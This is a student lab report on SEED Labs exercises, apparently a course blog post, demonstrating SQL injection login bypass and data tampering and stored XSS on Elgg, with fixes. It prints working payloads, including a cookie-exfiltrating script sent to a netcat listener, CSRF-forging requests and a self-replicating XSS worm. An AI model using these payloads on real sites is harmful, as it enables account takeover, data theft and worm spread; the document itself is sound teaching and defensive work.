20253913 2025-2026-2 《网络攻防实践》第十周作业

《网络攻防实践》第十次作业报告

一、实践内容

1.1 Web 应用安全与输入验证问题

Web 应用通常由浏览器、Web 服务器、后端程序和数据库共同组成。用户在浏览器中输入账号、密码、个人资料等内容后,请求会被发送到后端程序,后端再根据业务逻辑查询或修改数据库,最后将处理结果返回到页面中显示。这个过程中,用户输入既可能进入 SQL 语句,也可能进入 HTML 页面输出位置。如果服务端没有正确处理这些输入,就容易产生典型 Web 漏洞。

SQL 注入和 XSS 都属于输入与输出处理不当导致的安全问题。SQL 注入的关键在于用户输入被拼接进 SQL 语句后改变了原有数据库操作逻辑;XSS 的关键在于用户输入被当作页面脚本执行,导致浏览器执行了不可信代码。二者虽然发生位置不同,但本质上都说明 Web 应用不能直接信任来自用户端的数据。

1.2 SQL 注入攻击概述

SQL 注入是指攻击者通过构造特殊输入,使输入内容被数据库解释为 SQL 语句的一部分,从而改变原本的查询、更新或删除逻辑。在本地授权实验环境中,SQL 注入可以用于理解认证绕过、数据读取和数据篡改的形成原因。

SQL 注入产生的根本原因是服务端将用户输入直接拼接进 SQL 语句,而不是将用户输入作为普通数据绑定到查询参数中。例如,程序原本希望查询:

SELECT * FROM credential
WHERE name = '用户名' AND Password = '密码哈希';

如果用户名位置没有参数化处理,攻击者输入特殊字符闭合引号并加入注释符,就可能绕过后面的密码判断条件。

常见 SQL 注入可以从多个角度分类:

  1. 按注入位置划分:
    • GET 参数注入:恶意内容通过 URL 参数传入;
    • POST 参数注入:恶意内容通过表单正文传入;
    • Cookie 注入:恶意内容通过 Cookie 字段传入;
    • Header 注入:恶意内容通过 User-Agent、Referer 等请求头传入。
  2. 按利用方式划分:
    • 联合查询注入:利用 UNION SELECT 拼接查询结果;
    • 布尔盲注:根据页面真假差异逐步推断数据;
    • 时间盲注:利用延时函数根据响应时间推断数据;
    • 报错注入:利用数据库报错信息泄露数据;
    • 堆叠查询注入:在支持多语句执行时追加新的 SQL 语句。
  3. 按 SQL 语句类型划分:
    • SELECT 型注入:常见于登录、搜索、查询接口;
    • UPDATE 型注入:常见于修改个人资料、修改配置接口;
    • INSERT 型注入:常见于注册、留言、评论接口;
    • DELETE 型注入:常见于删除记录、批量管理接口。

SQL 注入可能造成严重危害,包括绕过登录认证、非授权读取用户信息、篡改数据库内容、泄露密码哈希、工资、SSN 等敏感字段,甚至在特定环境下进一步造成权限提升或服务器失陷。

1.3 SQL 注入防御方法

SQL 注入不能只依赖过滤单个关键字解决,因为攻击者可以通过编码、大小写变化、注释符、数据库语法差异等方式绕过简单过滤。更可靠的防护方式包括:

  1. 使用参数化查询或预编译语句,将 SQL 结构和用户数据分离;
  2. 对输入进行白名单校验,例如工资字段只能为数字、邮箱字段必须符合邮箱格式;
  3. Web 程序连接数据库时使用最小权限账号,不应使用 root;
  4. 密码使用安全哈希函数存储,例如 password_hash()password_verify()
  5. 登录和修改资料等敏感接口使用 POST,不应将密码放在 URL 中传输;
  6. 数据库错误信息不直接回显给用户,应记录到服务端日志;
  7. 后台管理权限应使用角色字段校验,不能只依赖用户名是否等于 Admin
  8. 对修改资料、修改密码等状态变更接口增加 CSRF Token;
  9. 配合日志审计和异常行为监测,及时发现异常登录、批量查询、异常更新等行为。

1.4 XSS 攻击概述

XSS,即跨站脚本攻击,是指攻击者将恶意脚本注入到 Web 页面中,使其他用户访问页面时浏览器执行这些脚本。XSS 的核心不是服务器直接执行了攻击代码,而是浏览器把不可信内容当作 JavaScript 执行。

XSS 产生的主要原因包括:用户输入在保存或输出时没有经过安全过滤;页面输出时没有进行 HTML 编码;富文本编辑器允许危险标签或事件属性;Cookie、安全令牌等敏感信息可以被页面脚本读取。

常见 XSS 类型包括:

  1. 反射型 XSS:恶意脚本通过 URL 或请求参数提交后立即反射到响应页面中;
  2. 存储型 XSS:恶意脚本被保存到数据库、个人资料、留言、评论等位置,其他用户访问时触发;
  3. DOM 型 XSS:漏洞主要发生在前端 JavaScript 对 DOM 的不安全操作中,服务端响应中不一定直接包含恶意脚本。

本次 Elgg 实验中的 XSS 属于存储型 XSS,因为恶意脚本被写入 Alice 的个人资料页面中,并长期保存在服务器端。其他用户访问 Alice 主页时,浏览器会自动解析并执行这些脚本。

XSS 的危害不只是弹窗。它还可能导致 Cookie 泄露、伪造用户请求、自动添加好友、修改用户资料、传播 XSS 蠕虫等后果。如果攻击脚本可以借助受害者登录态执行敏感操作,影响范围会进一步扩大。

1.5 XSS 防御方法

XSS 防护需要同时关注输入、存储、输出和浏览器安全策略,常见方法包括:

  1. 对所有输出到 HTML 页面中的用户内容进行编码,例如使用 htmlspecialchars()
  2. 对富文本内容采用 HTML 白名单过滤,只允许安全标签和安全属性;
  3. 使用 HTMLawed 等安全过滤插件,对用户提交的 HTML 内容进行净化;
  4. Cookie 设置 HttpOnly,减少 JavaScript 读取 Cookie 的风险;
  5. Cookie 设置 Secure,限制只通过 HTTPS 传输;
  6. Cookie 设置 SameSite,降低跨站请求携带 Cookie 的风险;
  7. 关键操作使用 CSRF Token,防止脚本借助用户登录态伪造操作;
  8. 配置内容安全策略 CSP,限制脚本加载来源;
  9. 禁止或严格限制内联 JavaScript;
  10. 服务端统一过滤,不应只依赖前端校验,因为前端校验容易被绕过。

1.6 本次实验环境与实验目标

本次作业包含两个主要实验:

  1. SEED SQL 注入攻击与防御实验;
  2. SEED XSS 跨站脚本攻击实验。

实验均在 SEED Labs 教学虚拟机和本地授权靶场环境中完成,实验目的不是攻击真实系统,而是通过可控环境理解 SQL 注入和 XSS 的形成原因、攻击链条、验证方法和修复思路。


二、实验过程

2.1 实验准备

实验开始前,导入并启动 SEEDUbuntu-16.04-32bit 虚拟机,并按照实验要求调整显示分辨率和终端环境。

image-20260430145355226

随后切换到 root 用户。SEED Ubuntu 默认 root 切换命令为:

su -

输入密码:

seedubuntu

进入 root 环境后,使用以下命令修改主机名:

hostname mjc20253913

重新打开终端后,可以看到终端提示符中的主机名已经变为 mjc20253913,说明主机名修改成功。

image-20260430153409762

Web 实验依赖 Apache 服务,因此需要启动 Apache2:

sudo service apache2 start
sudo service apache2 status

status 显示 Apache 处于运行状态后,说明本地 Web 实验环境可以正常访问。

image-20260430153523275

2.2 SEED SQL 注入攻击与防御实验

2.2.1 熟悉数据库和 SQL 查询

首先使用 root 账号登录 MySQL 数据库:

mysql -u root -pseedubuntu

登录成功后,查看当前 MySQL 中已有数据库:

show databases;

执行结果中可以看到 Users 数据库。

image-20260430153629094

image-20260430153655248

进入 Users 数据库:

use Users;

查看数据库中的表:

show tables;

可以看到其中存在 credential 表。

image-20260430153736270

继续查询 credential 表内容:

select * from credential;

查询结果显示,该表是一张员工信息表,包含 IDNameEIDSalaryBirthSSNPhoneNumberAddressEmailNickNamePassword 等字段。其中 SalarySSNPassword 等字段属于敏感信息,如果 Web 应用存在 SQL 注入漏洞,攻击者可能在未授权情况下读取或篡改这些数据。

image-20260430153758823

2.2.2 SELECT 语句 SQL 注入攻击:绕过登录认证

在浏览器中访问 SQL 注入实验站点:

http://www.seedlabsqlinjection.com/

页面显示为员工登录界面,包含用户名和密码输入框。

image-20260430160713137

右键查看页面源码后,可以发现登录表单使用 GET 方法提交参数,并将请求发送到 unsafe_home.php。GET 方式会把用户名和密码放入 URL 参数中,这本身就不适合传输敏感信息。

image-20260430160627439

先尝试使用普通弱口令登录,页面提示账号或密码错误,说明不能通过简单密码猜测登录成功。

image-20260430160653652

随后进入代码审计阶段,在终端中查看 unsafe_home.php 源码:

sudo vim /var/www/SQLInjection/unsafe_home.php

image-20260430160551299

image-20260430160520731

在源码中可以看到,用户名和密码分别来自 GET 参数:

$input_uname = $_GET['username'];
$input_pwd = $_GET['Password'];

密码经过哈希处理后参与查询,但用户名没有进行参数化绑定、转义处理或白名单校验。后端把用户输入直接拼接进 SQL 查询语句,其逻辑可还原为:

SELECT ... FROM credential
WHERE name = '$input_uname' AND Password = '$hashed_pwd';

如果用户名输入正常内容,SQL 会按照“用户名匹配且密码哈希匹配”的逻辑执行。但当用户名输入:

Admin' #

密码留空或任意输入时,拼接后的 SQL 条件会变成类似:

WHERE name = 'Admin' #' AND Password = '...'

在 MySQL 中,# 是注释符,后面的密码判断条件会被注释掉。因此数据库最终只判断:

name = 'Admin'

只要 credential 表中存在 Admin 用户,认证逻辑就会被绕过。

在登录页面用户名处输入:

Admin' #

密码可以留空或任意填写,点击登录后成功进入 Admin 账号。

image-20260430160846994

登录成功后进入管理员页面,可以看到系统显示了所有员工的资料信息,包括用户名、EID、工资、生日、SSN 等字段。这说明 SELECT 型 SQL 注入不仅可以绕过登录,还可能导致敏感数据泄露。

image-20260430160920404

2.2.3 UPDATE 语句 SQL 注入攻击:修改用户工资

登录后进入个人资料编辑页面。页面中可以修改昵称、邮箱、地址、电话号码和密码等信息。

image-20260430161129314

查看编辑页面源码后,可以发现表单仍然使用 GET 方法提交数据,提交目标为:

unsafe_edit_backend.php

image-20260430161222950

使用浏览器开发者工具抓包,也可以验证点击保存后,表单参数确实通过请求发送到了 unsafe_edit_backend.php

image-20260430161423235

继续查看后端文件源码:

sudo vim /var/www/SQLInjection/unsafe_edit_backend.php

image-20260430162236820

该接口接收的参数包括:

  • NickName
  • Email
  • Address
  • PhoneNumber
  • Password

其数据流可以概括为:

$_GET[...] -> $input_* -> SQL 字符串拼接 -> $conn->query($sql)

后端 UPDATE 语句逻辑类似:

UPDATE credential SET
nickname='$input_nickname',
email='$input_email',
address='$input_address',
PhoneNumber='$input_phonenumber'
WHERE ID=$id;

问题在于,nickname 等字段被直接拼接进 SQL。攻击者可以在 NickName 参数中闭合原本的单引号,然后插入新的字段赋值语句,并使用注释符截断后续内容。

实验中先查看 Boby 原始资料,可以看到 Boby 的工资为原始值。

image-20260430163110535

随后在资料编辑页面的 NickName 输入框中填入以下 Payload:

', salary='20253913' where Name='Boby'; #

该输入会改变原本 UPDATE 语句的结构。原本程序只应修改当前登录用户的昵称、邮箱、地址等资料,但注入后,SQL 逻辑被改写为修改 Name='Boby' 的记录,并将 salary 字段设置为 20253913。后续原本由程序拼接的字段会被注释符截断。

image-20260430163254210

提交后再次查看 Boby 资料,可以看到 Boby 的工资已经被修改为:

20253913

image-20260430163316228

该实验说明,UPDATE 型 SQL 注入的危害不只是读取数据,还可以直接篡改数据库内容。由于该接口使用 GET 修改状态,并且密码修改等敏感操作不要求旧密码,还会进一步带来 CSRF 风险。

2.2.4 SQL 注入对抗与修复方案

本实验中 SQL 注入漏洞的根本原因不是某一个特殊 Payload,而是服务端把用户输入直接拼接进 SQL 语句。修复时应从代码结构上解决问题,而不是简单过滤 '# 等字符。

1. 登录查询使用参数化查询

登录逻辑应使用预编译语句,将用户名作为参数绑定,而不是拼接到 SQL 中:

$stmt = $conn->prepare(
    "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password
     FROM credential
     WHERE name = ?"
);
$stmt->bind_param("s", $input_uname);
$stmt->execute();
$result = $stmt->get_result();

这样即使用户输入 Admin' #,数据库也只会把它当作普通字符串处理,不会把其中的引号和注释符解释为 SQL 语法。

2. 更新资料接口同样使用参数化查询

资料更新代码也应改为参数化形式:

$stmt = $conn->prepare(
    "UPDATE credential
     SET nickname = ?, email = ?, address = ?, PhoneNumber = ?
     WHERE ID = ?"
);
$stmt->bind_param(
    "ssssi",
    $input_nickname,
    $input_email,
    $input_address,
    $input_phonenumber,
    $id
);
$stmt->execute();

此时 nickname 中即使包含恶意 SQL 片段,也不会改变 UPDATE 语句结构。

3. 密码使用安全哈希存储

不应继续使用简单 SHA1 保存密码。注册或修改密码时应使用:

$hashed_pwd = password_hash($input_pwd, PASSWORD_DEFAULT);

登录验证时使用:

if (password_verify($input_pwd, $row['Password'])) {
    // login success
}

4. 登录和修改资料接口改为 POST

密码和状态修改参数不应通过 GET 方式出现在 URL 中。登录、修改资料、修改密码等接口应改为 POST 请求,减少敏感信息在浏览器历史记录、代理日志和服务器访问日志中泄露的风险。

5. 状态修改接口增加 CSRF Token

资料修改接口应验证 CSRF Token:

if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    http_response_code(405);
    exit('Method Not Allowed');
}

if (!isset($_POST['csrf_token'], $_SESSION['csrf_token']) ||
    !hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
    http_response_code(403);
    exit('Invalid CSRF token');
}

前端表单中加入隐藏字段:

<input type="hidden" name="csrf_token"
       value="<?php echo htmlspecialchars($_SESSION['csrf_token'], ENT_QUOTES, 'UTF-8'); ?>">

6. 页面输出时进行 HTML 编码

数据库字段最终会显示到页面中,因此输出时也应进行编码,避免 SQL 注入修复后又出现 XSS:

function e($value) {
    return htmlspecialchars($value ?? '', ENT_QUOTES, 'UTF-8');
}

echo "<td>" . e($email) . "</td>";
echo "<td>" . e($address) . "</td>";
echo "<td>" . e($nickname) . "</td>";

不能直接输出:

echo "<td>$email</td>";

7. 管理员权限使用角色校验

管理员权限不应只依赖用户名是否为 Admin。更合理的方式是在数据库中增加 role 字段,登录成功后保存角色信息:

$_SESSION['role'] = $row['role'];

访问管理员功能时进行校验:

if ($_SESSION['role'] !== 'admin') {
    http_response_code(403);
    exit('Forbidden');
}

8. 数据库账号使用最小权限

Web 应用不应使用 root 账号连接数据库。应创建专门的低权限数据库账号,只授予业务所需的 SELECTUPDATE 等权限,并从环境变量读取数据库配置:

$dbhost = getenv('DB_HOST');
$dbuser = getenv('DB_USER');
$dbpass = getenv('DB_PASS');
$dbname = getenv('DB_NAME');

9. 错误信息不直接回显

数据库错误不应直接显示给用户,应写入日志,前端只返回通用错误信息:

error_log("DB error: " . $conn->error);
http_response_code(500);
exit("Internal server error");

以上内容属于 SQL 注入漏洞的修复方案设计和进一步安全加固方法。

2.3 SEED XSS 跨站脚本攻击实验

2.3.1 Elgg 实验环境与用户登录

在浏览器中访问 Elgg XSS 实验站点:

http://www.xsslabelgg.com

实验用户口令规则如下:

用户 密码
Alice seedalice
Boby seedboby
Samy seedsamy
Admin seedelgg

首先使用 Alice 账号登录,进入 Alice 的个人主页。随后点击头像下方的 Edit profile,进入个人资料编辑页面。

image-20260430164108465

image-20260430164056744

2.3.2 发布恶意消息并弹出警告窗口

在 Alice 的 Brief description 中输入以下脚本:

<script>alert('mjc20253913');</script>

保存后,该脚本被存储到 Alice 的个人资料中。

image-20260430164222765

当页面重新加载时,浏览器解析到 <script> 标签并执行其中的 JavaScript,弹出内容为 mjc20253913 的警告窗口。

image-20260430164244828

随后退出 Alice,使用 Boby 账号登录并访问 Alice 主页。Boby 访问 Alice 主页时同样出现弹窗,说明恶意脚本并不是只在 Alice 本地生效,而是已经作为 Alice 个人资料的一部分保存到服务器端。该漏洞属于存储型 XSS。

image-20260430164431772

将 Alice 个人资料中的 Payload 修改为:

<script>alert(document.cookie);</script>

document.cookie 可以读取当前页面中允许 JavaScript 访问的 Cookie。当其他用户访问 Alice 页面时,浏览器会执行该脚本并弹出当前访问者的 Cookie 信息。

image-20260430164557149

当页面重新加载时,浏览器解析到 <script> 标签并执行其中的 JavaScript,弹出内容为Alice的Cookie信息。

使用 Boby 访问 Alice 页面后,页面弹出 Boby 当前会话相关 Cookie 信息。这说明 XSS 不仅可以用于弹窗验证,还可能威胁用户会话安全。

在攻击端终端使用 netcat 监听 3913 端口:

nc -l 3913 -v

随后在 Alice 的个人资料中写入以下 Payload:

<script>
document.write('<img src=http://127.0.0.1:3913?cookies=' +
escape(document.cookie) + '>');
</script>

该脚本的原理是利用浏览器加载图片资源的行为,把 document.cookie 拼接到图片 URL 的查询参数中。浏览器尝试加载该图片时,会向监听端口发送请求,从而把 Cookie 带出。

保存后,监听端首先能够接收到 Alice 自己访问页面时发出的 Cookie 请求。

image-20260430165241471

随后使用 Boby 登录并访问 Alice 主页。此时 Boby 的浏览器执行 Alice 页面中的恶意脚本,监听端接收到 Boby 的 Cookie。实验中 Alice 作为攻击者,Boby 作为受害者。

image-20260430165800909

在真实攻击中,攻击者可能将 127.0.0.1 替换为自己控制的远程服务器地址。本实验仅在本地环境中验证 XSS 窃取 Cookie 的原理。

2.3.5 利用 XSS 自动添加好友

为了实现自动添加好友,先使用 Alice 手动添加 Boby 为好友,并打开浏览器开发者工具观察请求过程。

image-20260430170235615

抓包结果显示,Elgg 添加好友请求提交到:

http://www.xsslabelgg.com/action/friends/add

请求中的关键参数包括:

  • friend
  • elgg_ts
  • elgg_token

其中,friend 表示要添加的用户 ID;elgg_tselgg_token 是 Elgg 用于请求校验的安全参数。

image-20260430170311958

image-20260430170407435

根据观察到的请求格式,可以在页面中读取 Elgg 当前已有的安全参数,并构造 XMLHttpRequest 请求。例如实验中构造的核心逻辑为:

var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;

Ajax = new XMLHttpRequest();
Ajax.open("GET", sendurl, true);
Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send();

将该段代码放入 Alice 的 About me 区域,并切换到 Edit HTML 模式后保存。如果不切换到 HTML 编辑模式,富文本编辑器可能会转义脚本内容,导致代码无法执行。

image-20260430170659647

随后使用 Samy 登录。Samy 初始状态下没有任何好友。

image-20260430170809399

当 Samy 访问 Alice 页面后,脚本借助 Samy 的登录态自动向 Elgg 发起添加好友请求。Samy 并没有主动点击添加好友按钮,但其好友列表中已经出现 Alice,说明 XSS 脚本成功伪造了用户操作。

image-20260430170859640

image-20260430170916127

2.3.6 利用 XSS 修改受害者个人资料

修改受害者个人资料的思路与自动添加好友类似。先分析 Elgg 修改资料时提交的请求参数,再构造能够携带当前用户 elgg_tselgg_token 的 JavaScript 请求。脚本被写入 Alice 的 About me 区域,并使用 Edit HTML 模式保存。

<script type="text/javascript">
    window.onload = function(){
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
        var content= token + ts + "name=" + userName + "&description=<p>hhh,mjc20253913 is here!</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        var samyGuid=44;
        if(elgg.session.user.guid!=samyGuid)
        {
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
            Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
	}
</script>

image-20260430180805926

在 Samy 访问 Alice 页面前,Samy 的个人主页资料保持原样。

image-20260430180852179

当 Samy 访问 Alice 页面后,浏览器执行 Alice 页面中的脚本,并借助 Samy 当前登录态提交资料修改请求。访问结束后,Samy 的个人主页资料被自动修改。

image-20260430181139066

该实验说明,XSS 的危害不仅在于读取 Cookie 或弹窗,还可以以受害者身份执行状态修改操作。如果应用对关键操作缺少严格的服务端校验,攻击者就可能通过 XSS 控制用户行为。

2.3.7 编写 XSS 蠕虫

普通 XSS 往往要求受害者访问攻击者页面才会触发,而 XSS 蠕虫具备自我复制能力。它不仅执行恶意操作,还会把恶意脚本继续写入受害者自己的个人资料页。这样,后续其他用户访问该受害者页面时,也会继续被感染。

本实验中编写的 XSS 蠕虫代码与修改受害者资料的思路相近,核心区别在于它会把自身脚本复制到受害者主页中,使受害者页面也成为新的传播源。

<script id="worm" type="text/javascript">
    window.onload = function(){
        var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
        var jsCode = document.getElementById("worm").innerHTML;
        var tailTag = "</" + "script>";
        var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
        var content= token + ts + "&name=" + userName + "&description=<p>mjc20253913 is here!"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        var samyGuid=44;
        if(elgg.session.user.guid!=samyGuid){
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
    }</script>

image-20260430181451022

使用 Boby 登录并访问 Alice 页面后,Boby 被感染,其个人资料中也出现了相应的恶意内容。

image-20260430182125718

随后使用 Admin 访问 Boby 页面,Admin 也被感染。这说明蠕虫已经不再局限于 Alice 页面,而是可以沿着用户访问关系继续传播。

访问前:

image-20260430182302366

访问后发现Admin也被“感染”。

image-20260430182440563

XSS 蠕虫的危害范围明显大于普通单点 XSS。一旦社交类网站、论坛或协作平台存在存储型 XSS,恶意脚本可能在用户之间快速扩散,造成批量账号受影响、资料被篡改或会话信息泄露。

2.3.8 XSS 对抗实验与扩展防护方案

本次实验中使用 Elgg 内置的 HTMLawed 插件进行 XSS 对抗。使用 Admin 登录后,点击右上角 Administration,进入插件管理页面。

image-20260430183302611

image-20260430183320867

在插件列表中找到 HTMLawed 插件。插件说明为:

Provides security filtering. Running a site with this plugin disabled is extremely insecure. DO NOT DISABLE.

这说明 HTMLawed 用于提供安全过滤,如果禁用该插件,站点会处于非常不安全的状态。

image-20260430183438559

点击启用 HTMLawed 后,再次进行 XSS 攻击验证。重新让 Admin 访问 Alice 页面时,受害者主页不再被自动修改,说明危险 HTML 或脚本内容已经被过滤,攻击失效。

image-20260430183528677

HTMLawed 的作用是对 HTML 输入进行过滤和净化,使危险标签、危险属性或脚本无法继续生效。实验中实际完成的对抗方式是启用 HTMLawed 插件。

进一步安全加固还可以从以下方面展开:

  1. 对所有输出内容进行 HTML 编码,避免用户输入被浏览器解释为标签或脚本;
  2. 对富文本输入使用白名单过滤,只允许安全标签和安全属性;
  3. Cookie 设置 HttpOnly,减少脚本读取 Cookie 的风险;
  4. Cookie 设置 Secure,保证 Cookie 只通过 HTTPS 传输;
  5. Cookie 设置 SameSite,降低跨站请求滥用风险;
  6. 配置 CSP,限制脚本来源,减少内联脚本执行机会;
  7. 对添加好友、修改资料等关键操作增加 CSRF Token;
  8. 后端统一过滤和校验,不能只依赖前端富文本编辑器;
  9. 对用户资料、评论、留言等持久化内容进行安全审计;
  10. 对异常批量添加好友、异常资料修改等行为进行日志告警。

三、学习中遇到的问题及解决

3.1 问题一:SQL 注入 Payload 输入后没有成功绕过登录

实验开始时,SQL 注入 Payload 并不是随便输入特殊字符就一定能成功。常见现象是输入后仍然提示账号或密码错误,页面没有进入 Admin 用户界面。

原因主要有几个方面。第一,Payload 中单引号、空格或注释符输入不正确,导致 SQL 语句没有被正确闭合。第二,没有理解后端 SQL 拼接结构,只知道输入 #,但不知道它应该注释掉哪一部分。第三,用户名大小写写错,Admin 与普通用户名称不匹配。第四,# 作为 MySQL 注释符时,后面最好保留空格或注意 URL 编码,否则在某些情况下可能不会按预期截断后续条件。

解决时没有继续盲目尝试 Payload,而是回到 unsafe_home.php 源码中分析数据流。确认用户名来自:

$_GET['username']

并且直接进入:

WHERE name = '$input_uname' AND Password = '$hashed_pwd'

之后手动还原拼接结果,明确 Admin' # 的作用是闭合 name 字段对应的引号,并注释掉后面的密码条件。重新输入:

Admin' #

后成功绕过登录。这个过程让我意识到,SQL 注入不是记忆某个固定 Payload,而是要理解输入内容如何改变 SQL 语句结构。

3.2 问题二:Elgg 中 XSS 代码保存后没有执行

在 Elgg 实验中,也出现过脚本保存后没有触发的情况。表现为已经把 JavaScript 写入资料页,但其他用户访问页面时没有弹窗,也没有自动添加好友或修改资料。

原因主要有三个。第一,代码没有写入正确位置,或者写入后没有保存成功。第二,在 About me 中写脚本时没有切换到 Edit HTML 模式,富文本编辑器可能把 <script> 当作普通文本转义。第三,在对抗实验阶段,如果 HTMLawed 已经启用,危险脚本会被过滤,保存后的内容不会再按原样执行。

解决方法是先区分实验阶段:在漏洞验证阶段确认 HTMLawed 未启用,并使用 Alice 写入脚本,再切换到 Boby 或 Samy 访问 Alice 页面验证;在需要写入 About me 的实验中,先点击右上角的 Edit HTML,再粘贴脚本代码;保存后重新打开页面检查脚本是否被转义或删除。到了对抗阶段,脚本无法执行反而说明过滤插件开始发挥作用。

这个问题让我认识到,XSS 实验不只是写一段 <script>,还要关注输入位置、编辑器模式、服务端过滤状态和访问用户身份。


四、学习感想和体会

通过本次实验,我对 SQL 注入和 XSS 的理解比之前更加具体。以前看到 SQL 注入时,容易把它理解成“输入特殊字符绕过登录”,但实际分析源码后才发现,真正关键的是用户输入进入 SQL 拼接点后改变了原来的查询逻辑。Admin' # 之所以能成功,不是因为这个字符串本身特殊,而是它闭合了用户名条件,并利用 MySQL 注释符截断了密码判断。

代码审计的过程也很重要。定位 SQL 注入时不能只看页面是否报错,而要从输入来源、参数传递、SQL 拼接点和执行点一步一步分析。unsafe_home.php 中的问题出在 SELECT 查询,unsafe_edit_backend.php 中的问题出在 UPDATE 语句,两者造成的后果也不同:前者可以绕过登录并读取信息,后者可以直接篡改数据库字段。

XSS 实验给我的感受更直观。浏览器执行了保存在用户资料中的不可信脚本后,攻击影响就从单个页面扩展到了其他访问者。简单弹窗只是验证漏洞存在,后续读取 Cookie、自动添加好友、修改资料和传播蠕虫才体现出存储型 XSS 的真正危害。尤其是 XSS 蠕虫实验中,Boby 访问 Alice 后被感染,Admin 再访问 Boby 后也被感染,这说明只要恶意脚本能被持久化保存,就可能通过用户之间的访问关系不断扩散。

防御方面,我也认识到不能依赖简单过滤。SQL 注入的根本修复方式是参数化查询,把 SQL 结构和用户数据分开;XSS 的防护则需要服务端过滤、输出编码、Cookie 安全属性、CSP 和 CSRF Token 等多种机制配合。单纯在前端限制输入并不可靠,因为攻击者可以绕过浏览器界面直接构造请求。

本次实验把漏洞利用、代码审计和安全修复联系在了一起。相比只看漏洞原理,亲自分析请求、查看源码、构造 Payload、验证结果,再思考如何修复,能更清楚地理解 Web 安全问题为什么会发生,以及防御时应该从哪里入手。

posted @ 2026-04-30 18:43  4eversinc2  阅读(16)  评论(0)    收藏  举报